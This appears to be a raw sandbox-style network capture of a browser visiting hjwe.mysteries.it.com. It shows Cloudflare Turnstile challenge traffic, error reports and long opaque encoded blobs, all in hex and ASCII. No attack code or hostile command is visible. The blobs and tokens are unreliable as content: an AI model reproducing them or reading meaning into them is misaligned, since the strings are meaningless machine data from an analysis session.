Hd4N/i3uGg49/jYeTg1iLl4ddnliWcZKXkVymY4N4iGKmabBsrW20cX9xuHRrdbx3m3nAe5N9xH+awn+8f5Smu87Km8jKnsqmtK6Nopepq7jQtK2SnLzfoq/g4+DR36Hn4eWnyanqqvKrse3hzM7ku87UzbK83APEBrgG8ejK3gf3+ucDzODRBNPeFMoKDhXuCh4YCuvg8gT4APMAEhMiDur49x/jBes1IgnvOSIN8z0yEfdCPhX7RkcWJjM2GS
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 6b 56 46 30 59 35 57 46 55 30 78 53 62 70 4a 32 57 4a 2b 56 6a 6f 39 69 6d 32 56 2b 6c 34 61 47 5a 70 78 34 71 6e 75 70 71 6e 32 71 6e 70 52 2f 62 61 56 33 6d 4c 4f 6e 6e 70 53 48 76 48 79 78 77 61 32 50 68 4c 2b 61 6f 37 2f 45 6f 4a 76 4d 6e 71 2f 43 72 61 48 42 79 64 61 4f 7a 49 2b 6b 74 73 72 47 32 71 75 64 79 64 66 64 74 2b 47 6b 33 75 48 6b 77 4c 75 30 6e 2b 7a 72 7a 4d 37 6b 72 65 4c 49 38 73 61 33 78 2b 37 37 35 4f 57 77 2b 64 50 2b 31 50 7a 58 2f 51 58 57 35 2f 62 6d 32 66 6b 43 32 4e 2f 6d 7a 50 77 51 44 51 37 55 44 2b 76 54 34 39 6b 47 35 39 77 63 33 51 72 67 39 68 38 51 43 41 49 57 35 77 45 6b 46 77 6e 67 35 79 6b 6e 45 77 63 75 42 67 63 52 46 66 51 4a 2b 53 77 55 4d 54 66 2b 45 45 45 2f 4c 79 35 45 46 79 64 44 48 52 6b 36 50 68 38 2b 50 7a 6f Data Ascii: kVF0Y5WFU0xSbpJ2WJ+Vjo9im2V+l4aGZpx4qnupqn2qnpR/baV3mLOnnpSHvHyxwa2PhL+ao7/EoJvMnq/CraHBydaOzI+ktsrG2qudydfdt+Gk3uHkwLu0n+zrzM7kreLI8sa3x+775OWw+dP+1PzX/QXW5/bm2fkC2N/mzPwQDQ7UD+vT49kG59wc3Qrg9h8QCAIW5wEkFwng5yknEwcuBgcRFfQJ+SwUMTf+EEE/Ly5EFydDHRk6Ph8+Pzo
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 57 71 54 6e 58 69 50 58 31 61 55 58 35 64 69 6d 32 56 38 6c 59 6d 43 5a 70 71 56 69 71 32 70 65 37 4b 50 67 36 36 69 67 5a 6d 55 68 6e 47 33 70 62 58 41 64 6e 2b 6a 75 36 2b 4f 6e 4a 61 5a 70 4a 61 42 78 37 58 46 68 73 4b 4d 76 4a 48 45 6e 34 37 58 30 64 58 55 31 71 2b 33 33 4f 44 5a 71 35 36 38 77 74 62 53 74 72 36 6b 78 65 6a 58 79 2b 44 74 72 72 76 71 71 66 54 49 38 4d 48 47 38 4f 50 49 38 75 79 38 2f 4e 73 41 41 39 61 38 34 50 62 51 41 4f 54 58 77 51 67 43 42 73 62 5a 79 51 2f 4c 46 4f 6a 53 42 67 66 70 38 51 77 59 43 42 51 51 48 41 77 58 46 43 41 51 48 68 67 6b 46 4f 67 63 4b 42 6a 74 4c 2b 67 6e 41 69 4d 6f 49 75 77 33 38 78 51 4a 47 66 49 33 4c 50 35 42 4c 42 63 50 2f 52 45 43 53 51 58 37 42 6b 30 49 4c 41 70 52 44 43 51 4f 56 52 41 73 45 6c 6b 55 Data Ascii: WqTnXiPX1aUX5dim2V8lYmCZpqViq2pe7KPg66igZmUhnG3pbXAdn+ju6+OnJaZpJaBx7XFhsKMvJHEn47X0dXU1q+33ODZq568wtbStr6kxejXy+DtrrvqqfTI8MHG8OPI8uy8/NsAA9a84PbQAOTXwQgCBsbZyQ/LFOjSBgfp8QwYCBQQHAwXFCAQHhgkFOgcKBjtL+gnAiMoIuw38xQJGfI3LP5BLBcP/RECSQX7Bk0ILApRDCQOVRAsElkU
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 75 54 58 33 4b 53 6d 59 4b 6d 68 47 65 70 61 5a 74 66 71 36 61 44 72 57 2b 78 6f 4b 57 6f 72 6e 5a 7a 67 72 6d 59 65 4a 39 39 72 33 4f 41 76 5a 65 39 68 72 37 41 74 59 66 46 6f 5a 66 44 79 61 79 50 7a 5a 48 44 31 70 2f 54 6c 64 6e 50 31 39 53 50 33 4e 75 67 32 64 54 64 6f 71 36 38 73 2b 53 6b 31 4f 65 71 74 36 33 74 77 37 75 76 38 64 2f 75 76 2f 44 4c 39 73 50 57 36 2b 37 36 7a 75 6a 62 39 2f 72 59 30 2f 67 42 33 4e 66 2b 43 4c 37 62 78 51 33 35 32 75 6a 67 45 64 41 41 45 75 6f 47 45 78 4d 57 36 78 30 61 43 78 34 58 48 67 34 42 44 78 2f 37 41 43 6b 48 48 42 73 72 2f 65 30 65 4d 53 38 66 42 51 51 76 4d 76 4d 6d 4f 50 6b 6e 43 44 63 35 4f 6a 63 38 49 51 52 41 42 6a 63 36 41 55 4d 67 52 6b 46 49 44 69 78 4b 53 79 6b 6b 44 68 55 73 55 79 52 56 4d 53 78 64 4f Data Ascii: uTX3KSmYKmhGepaZtfq6aDrW+xoKWornZzgrmYeJ99r3OAvZe9hr7AtYfFoZfDyayPzZHD1p/TldnP19SP3Nug2dTdoq68s+Sk1Oeqt63tw7uv8d/uv/DL9sPW6+76zujb9/rY0/gB3Nf+CL7bxQ352ujgEdAAEuoGExMW6x0aCx4XHg4BDx/7ACkHHBsr/e0eMS8fBQQvMvMmOPknCDc5Ojc8IQRABjc6AUMgRkFIDixKSykkDhUsUyRVMSxdO
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 31 70 47 53 5a 70 36 5a 37 71 4b 74 76 67 4b 47 71 68 71 57 30 62 62 4b 31 65 58 4f 50 68 33 61 5a 6e 71 36 75 69 38 43 41 70 38 47 6b 68 4c 4b 4a 76 4a 66 4e 7a 61 50 4e 7a 4e 47 38 72 38 72 4f 6a 70 65 74 32 4c 47 33 33 4e 71 38 31 4e 65 64 30 2b 4c 69 74 4e 47 30 31 4f 6d 70 7a 4b 32 6c 36 38 4f 6f 71 39 32 2f 73 73 2f 74 38 63 58 34 7a 76 76 62 38 63 33 4b 34 37 33 79 32 41 50 56 38 74 62 67 32 62 37 49 37 77 72 6a 32 38 72 74 38 67 4d 44 33 78 58 55 2b 78 50 54 32 41 66 64 45 50 73 59 48 66 59 57 4a 64 30 6a 4a 75 6e 6a 41 50 66 6d 43 67 38 66 48 2f 73 78 38 42 67 30 4b 2f 51 6a 2b 53 30 4d 2b 7a 34 70 51 67 46 43 4d 52 51 35 51 42 77 56 2f 45 77 4c 54 79 74 4b 4a 43 38 6b 4e 52 55 52 49 52 5a 49 54 6c 6f 33 54 46 64 62 4d 44 51 78 4b 32 41 69 5a 7a Data Ascii: 1pGSZp6Z7qKtvgKGqhqW0bbK1eXOPh3aZnq6ui8CAp8GkhLKJvJfNzaPNzNG8r8rOjpet2LG33Nq81Ned0+LitNG01OmpzK2l68Ooq92/ss/t8cX4zvvb8c3K473y2APV8tbg2b7I7wrj28rt8gMD3xXU+xPT2AfdEPsYHfYWJd0jJunjAPfmCg8fH/sx8Bg0K/Qj+S0M+z4pQgFCMRQ5QBwV/EwLTytKJC8kNRURIRZITlo3TFdbMDQxK2AiZz
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 6c 71 57 52 62 61 4b 79 73 33 57 41 6b 71 61 4c 6c 72 71 50 68 37 36 62 6a 33 35 30 77 73 4f 30 6c 36 4b 32 76 61 62 4b 6f 34 75 73 78 37 71 48 68 49 79 38 79 71 36 79 78 39 72 57 71 4d 65 50 30 74 2f 5a 74 61 71 7a 34 4f 4f 32 7a 39 76 6a 79 4e 75 37 36 61 37 47 75 75 76 7a 76 38 72 46 78 4f 72 4d 31 4b 79 30 35 50 4c 57 32 75 37 71 2f 73 2f 43 76 2b 50 2b 33 4e 38 4a 42 41 71 2f 44 51 7a 73 34 73 2f 4e 41 2b 58 74 43 42 51 46 39 51 77 59 43 66 6f 51 48 41 30 43 46 43 41 52 42 52 67 6b 46 51 77 63 4b 42 6b 50 49 43 77 63 4c 43 51 77 49 43 38 6f 4e 43 51 32 4c 44 67 6f 4f 54 41 38 4c 45 41 30 51 44 42 47 4f 45 51 30 50 44 78 49 4f 44 39 41 54 44 78 47 52 46 42 41 53 55 68 55 52 46 42 4d 57 45 68 54 55 46 78 4d 57 6c 52 67 55 43 56 59 5a 46 51 71 61 79 56 Data Ascii: lqWRbaKys3WAkqaLlrqPh76bj350wsO0l6K2vabKo4usx7qHhIy8yq6yx9rWqMeP0t/Ztaqz4OO2z9vjyNu76a7Guuvzv8rFxOrM1Ky05PLW2u7q/s/Cv+P+3N8JBAq/DQzs4s/NA+XtCBQF9QwYCfoQHA0CFCARBRgkFQwcKBkPICwcLCQwIC8oNCQ2LDgoOTA8LEA0QDBGOEQ0PDxIOD9ATDxGRFBASUhURFBMWEhTUFxMWlRgUCVYZFQqayV
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 70 57 4e 73 59 75 73 68 4b 65 31 65 34 32 4b 64 35 4b 59 69 38 43 41 73 72 37 41 74 63 4c 43 78 4c 32 4f 78 37 6d 63 6d 38 32 67 6b 4b 53 69 6c 71 50 61 74 62 76 56 6b 4e 37 66 33 4b 79 2b 30 73 37 69 74 4e 47 6e 74 36 62 41 35 71 54 43 36 74 75 2f 7a 64 32 2f 39 74 44 58 74 2b 62 45 2b 4c 6a 59 75 74 50 62 41 72 7a 2b 32 4c 7a 61 41 2f 50 55 35 66 58 58 44 2b 6a 76 7a 73 51 54 46 42 58 67 38 67 66 70 38 65 72 36 32 2f 33 72 48 68 62 73 36 78 50 58 2b 4e 38 71 4a 76 7a 6a 4c 69 2f 39 44 68 73 65 41 52 48 79 36 77 59 6e 43 52 73 61 37 54 63 78 51 44 66 37 51 42 6f 6b 48 44 63 65 50 51 45 30 4a 45 45 66 49 52 34 63 4c 55 63 38 49 6a 55 76 46 56 52 4b 57 46 64 47 4a 79 6c 50 4b 45 38 55 4e 52 78 6d 59 6a 6b 67 61 6d 73 36 53 6c 64 61 50 55 30 76 4b 45 4a 6a Data Ascii: pWNsYushKe1e42Kd5KYi8CAsr7AtcLCxL2Ox7mcm82gkKSilqPatbvVkN7f3Ky+0s7itNGnt6bA5qTC6tu/zd2/9tDXt+bE+LjYutPbArz+2LzaA/PU5fXXD+jvzsQTFBXg8gfp8er62/3rHhbs6xPX+N8qJvzjLi/9DhseARHy6wYnCRsa7TcxQDf7QBokHDcePQE0JEEfIR4cLUc8IjUvFVRKWFdGJylPKE8UNRxmYjkgams6SldaPU0vKEJj

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:06 UTC	554	OUT	OPTIONS /report/v4?s=CrZDlLHUBGdiuvW2MJFAjjkeW4pbCTMhblGsPpqwLUrr16asu4lELLCHuFGKJtGqUFrE76hfLyR0VFMzwsqamp1JiK9%2BXq%2Bgzz2T31oRvPgpSLnRI5pk4vxNkwMW5uLMHTKtdz6jVnU%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://hjwe.mysteries.it.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 24 Mar 2025 15:35:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:07 UTC	529	OUT	POST /report/v4?s=CrZDlLHUBGdiuvW2MJFAjjkeW4pbCTMhblGsPpqwLUrr16asu4lELLCHuFGKJtGqUFrE76hfLyR0VFMzwsqamp1JiK9%2BXq%2Bgzz2T31oRvPgpSLnRI5pk4vxNkwMW5uLMHTKtdz6jVnU%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 437 Content-Type: application/reports+json Origin: https://hjwe.mysteries.it.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:07 UTC	437	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 30 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 68 6a 77 65 2e 6d 79 73 74 65 72 69 65 73 2e 69 74 2e 63 6f 6d 2f 78 54 31 74 48 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 30 2e 32 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":0,"body":{"elapsed_time":304,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://hjwe.mysteries.it.com/xT1tH/","sampling_fraction":1.0,"server_ip":"104.21.90.22","status_code":404,"type":"http.error"},"type":"network-err
2025-03-24 15:35:07 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 24 Mar 2025 15:35:07 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:07 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/967006753:1742826353:dd6lycDHrMiFpFhUld71f2KLHu4ARw8T4yTNB_qejcI/92573c80ae338186/PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:07 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Mon, 24 Mar 2025 15:35:07 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: y0f9Md3GfYGhfIYD7PCMdlzOcKa9z4zpZfnANl8iEDRIfWNKv7lJ7jEmeHwxt5bc3AHHJDLse+LlZAUKtAMdXw==$zaSiEVCF4K/EGZEV5WI9fQ== Server: cloudflare CF-RAY: 92573c900d1d3314-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:07 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:08 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/b/d/92573c80ae338186/1742830506525/dzRD1KMUsKZPMax HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:09 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:09 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 92573c996804ea5b-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3b 08 02 00 00 00 a8 9b 7e 9d 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR<;~IDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:09 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/92573c80ae338186/1742830506526/a3a8cf7e77dab40bb8b270528df508d4e86ff85b215f2072653ec4a784b35c2a/0mqzCLjAHy67umf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:09 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 24 Mar 2025 15:35:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-24 15:35:09 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 6f 36 6a 50 66 6e 66 61 74 41 75 34 73 6e 42 53 6a 66 55 49 31 4f 68 76 2d 46 73 68 58 79 42 79 5a 54 37 45 70 34 53 7a 58 43 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20go6jPfnfatAu4snBSjfUI1Ohv-FshXyByZT7Ep4SzXCoAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-24 15:35:09 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:09 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/967006753:1742826353:dd6lycDHrMiFpFhUld71f2KLHu4ARw8T4yTNB_qejcI/92573c80ae338186/PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38492 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:09 UTC	16384	OUT	Data Raw: 72 5a 68 37 2b 70 6f 59 4d 31 68 6d 44 41 74 6f 7a 54 47 33 68 52 4b 54 30 52 70 32 77 44 32 54 72 54 6d 66 52 6d 54 64 54 44 66 73 59 6f 30 54 24 66 70 45 66 54 65 6d 6c 6d 71 37 50 54 75 4c 73 32 56 63 6d 54 77 4e 54 79 37 6d 74 41 54 76 66 6f 74 56 44 63 4c 6f 33 6a 37 33 68 54 41 33 41 54 52 32 54 4a 30 44 54 63 54 70 62 59 54 47 37 70 44 4d 42 50 37 73 74 2d 54 75 66 52 42 6f 78 79 6f 70 63 68 54 63 76 54 77 78 44 37 6c 44 54 58 37 54 47 4c 38 31 71 44 46 39 44 68 38 68 54 31 71 73 38 6d 4a 6d 54 6d 46 4c 67 57 74 41 6f 4c 30 66 54 39 35 2b 6c 6f 2d 75 70 54 54 5a 54 38 46 55 45 76 54 4c 54 64 36 4a 6a 57 73 30 74 4b 61 2d 41 6f 46 44 35 34 61 53 42 72 43 4e 72 42 43 30 45 61 2d 4a 72 54 51 55 36 68 6b 71 52 44 38 75 45 6b 44 6a 37 53 4a 72 41 2b 74 Data Ascii: rZh7+poYM1hmDAtozTG3hRKT0Rp2wD2TrTmfRmTdTDfsYo0T$fpEfTemlmq7PTuLs2VcmTwNTy7mtATvfotVDcLo3j73hTA3ATR2TJ0DTcTpbYTG7pDMBP7st-TufRBoxyopchTcvTwxD7lDTX7TGL81qDF9Dh8hT1qs8mJmTmFLgWtAoL0fT95+lo-upTTZT8FUEvTLTd6JjWs0tKa-AoFD54aSBrCNrBC0Ea-JrTQU6hkqRD8uEkDj7SJrA+t
2025-03-24 15:35:09 UTC	16384	OUT	Data Raw: 76 42 49 4c 6d 6d 4d 56 54 33 54 49 49 55 54 6f 70 57 38 30 66 4c 4d 78 45 73 61 5a 51 78 79 57 74 31 70 30 54 41 33 6c 77 68 24 5a 4a 4d 72 4f 4f 48 66 55 61 37 57 68 59 45 4a 4d 31 57 5a 68 54 30 4e 72 5a 6f 71 68 78 42 71 35 66 64 37 46 61 46 51 34 43 78 45 57 2d 46 5a 62 78 79 54 41 46 34 41 54 41 57 4b 4d 52 63 78 4b 57 4b 6d 52 55 78 2b 61 4d 61 5a 4d 54 31 57 48 61 56 50 6c 6d 45 6f 32 4f 66 6f 36 57 46 61 56 49 78 53 57 7a 57 5a 67 54 55 57 38 37 77 61 78 2b 61 62 57 34 58 74 54 54 79 4d 6f 54 6f 4a 54 24 68 41 72 78 44 54 43 48 54 67 54 55 54 79 54 77 36 78 47 67 72 64 75 2b 66 4a 4d 77 5a 54 54 54 36 41 74 63 36 78 4c 71 6f 42 44 47 4c 4f 37 47 68 6f 7a 6f 35 68 33 4c 54 6b 4d 37 57 6e 4d 41 6c 4d 55 4f 6f 48 70 6e 6d 4f 4e 31 54 70 53 4c 4f 33 Data Ascii: vBILmmMVT3TIIUTopW80fLMxEsaZQxyWt1p0TA3lwh$ZJMrOOHfUa7WhYEJM1WZhT0NrZoqhxBq5fd7FaFQ4CxEW-FZbxyTAF4ATAWKMRcxKWKmRUx+aMaZMT1WHaVPlmEo2Ofo6WFaVIxSWzWZgTUW87wax+abW4XtTTyMoToJT$hArxDTCHTgTUTyTw6xGgrdu+fJMwZTTT6Atc6xLqoBDGLO7Ghozo5h3LTkM7WnMAlMUOoHpnmON1TpSLO3
2025-03-24 15:35:09 UTC	5724	OUT	Data Raw: 4e 74 73 4b 64 65 54 6d 37 49 77 36 77 63 67 31 30 37 31 6b 52 61 4e 30 59 6b 47 54 5a 4c 42 5a 52 66 43 67 6e 30 46 72 4d 43 47 57 77 31 52 2d 72 54 5a 52 6c 54 6a 44 43 72 73 71 54 77 58 30 66 54 71 36 24 2d 72 33 76 6a 54 62 54 32 54 4f 66 54 5a 79 34 77 61 76 51 63 33 6d 41 37 63 4c 33 4e 41 34 38 4f 24 76 68 6c 2b 54 73 36 73 66 47 6a 77 50 4b 5a 35 68 44 37 61 75 46 55 67 55 61 4b 79 6b 39 41 6d 6c 49 53 30 6a 67 55 2d 6f 38 37 57 65 45 6b 78 51 46 43 66 78 42 6b 50 31 54 51 37 35 33 37 63 4c 72 46 73 63 54 45 75 59 4c 32 54 79 73 54 54 30 74 53 37 39 37 76 48 6f 71 54 4f 66 52 44 6f 6d 54 32 54 72 4b 6f 47 37 73 4e 4e 53 2b 41 4a 4e 54 31 68 6b 68 52 62 30 65 43 79 42 34 4b 35 5a 55 48 4e 37 46 59 67 71 48 4f 64 51 36 55 6d 32 63 39 68 32 58 71 6f Data Ascii: NtsKdeTm7Iw6wcg1071kRaN0YkGTZLBZRfCgn0FrMCGWw1R-rTZRlTjDCrsqTwX0fTq6$-r3vjTbT2TOfTZy4wavQc3mA7cL3NA48O$vhl+Ts6sfGjwPKZ5hD7auFUgUaKyk9AmlIS0jgU-o87WeEkxQFCfxBkP1TQ7537cLrFscTEuYL2TysTT0tS797vHoqTOfRDomT2TrKoG7sNNS+AJNT1hkhRb0eCyB4K5ZUHN7FYgqHOdQ6Um2c9h2Xqo
2025-03-24 15:35:10 UTC	322	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28160 Connection: close cf-chl-gen: tWSiKMC3c4kUsXYdXSSd5ePFEodr1oJ0yIKwux3ohWWK+MHeGBtYVyKfJGn3vKA9$+8zqyKF9uKM9dYvHWJrhaA== Server: cloudflare CF-RAY: 92573c9efb6e729e-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:10 UTC	1047	IN	Data Raw: 62 31 4b 4c 69 59 2b 4d 62 4a 74 77 6e 33 79 5a 64 70 31 30 65 57 53 57 58 6f 65 69 6f 32 4b 4c 70 71 65 4f 71 47 71 72 6e 48 57 30 6b 33 4f 4d 65 4b 71 50 70 62 79 6f 76 4c 4f 35 67 49 43 62 6b 4d 4f 44 74 38 53 7a 74 4d 58 4d 6f 63 44 50 79 5a 4b 68 71 36 4c 44 6b 37 62 57 31 61 71 55 31 73 69 70 74 36 36 35 6e 38 48 65 70 4e 44 6f 35 62 65 6e 78 4b 7a 65 7a 76 44 70 79 4c 36 31 72 4d 4f 7a 78 72 6a 71 7a 38 37 2b 30 74 37 78 41 63 76 4e 32 38 2f 64 77 2b 4d 49 79 50 51 46 42 77 76 62 7a 75 30 43 36 78 4c 69 45 41 34 4a 47 77 58 61 2b 4e 41 67 33 4f 33 77 2f 42 51 54 44 79 62 34 38 78 34 41 43 79 77 70 49 69 54 74 37 43 49 65 4d 67 59 77 39 54 45 79 4e 44 6b 34 4e 79 77 50 4e 54 6f 58 50 42 77 50 50 79 51 57 52 52 38 65 48 7a 74 44 4f 79 51 73 4a 69 64 Data Ascii: b1KLiY+MbJtwn3yZdp10eWSWXoeio2KLpqeOqGqrnHW0k3OMeKqPpbyovLO5gICbkMODt8SztMXMocDPyZKhq6LDk7bW1aqU1sipt665n8HepNDo5benxKzezvDpyL61rMOzxrjqz87+0t7xAcvN28/dw+MIyPQFBwvbzu0C6xLiEA4JGwXa+NAg3O3w/BQTDyb48x4ACywpIiTt7CIeMgYw9TEyNDk4NywPNToXPBwPPyQWRR8eHztDOyQsJid
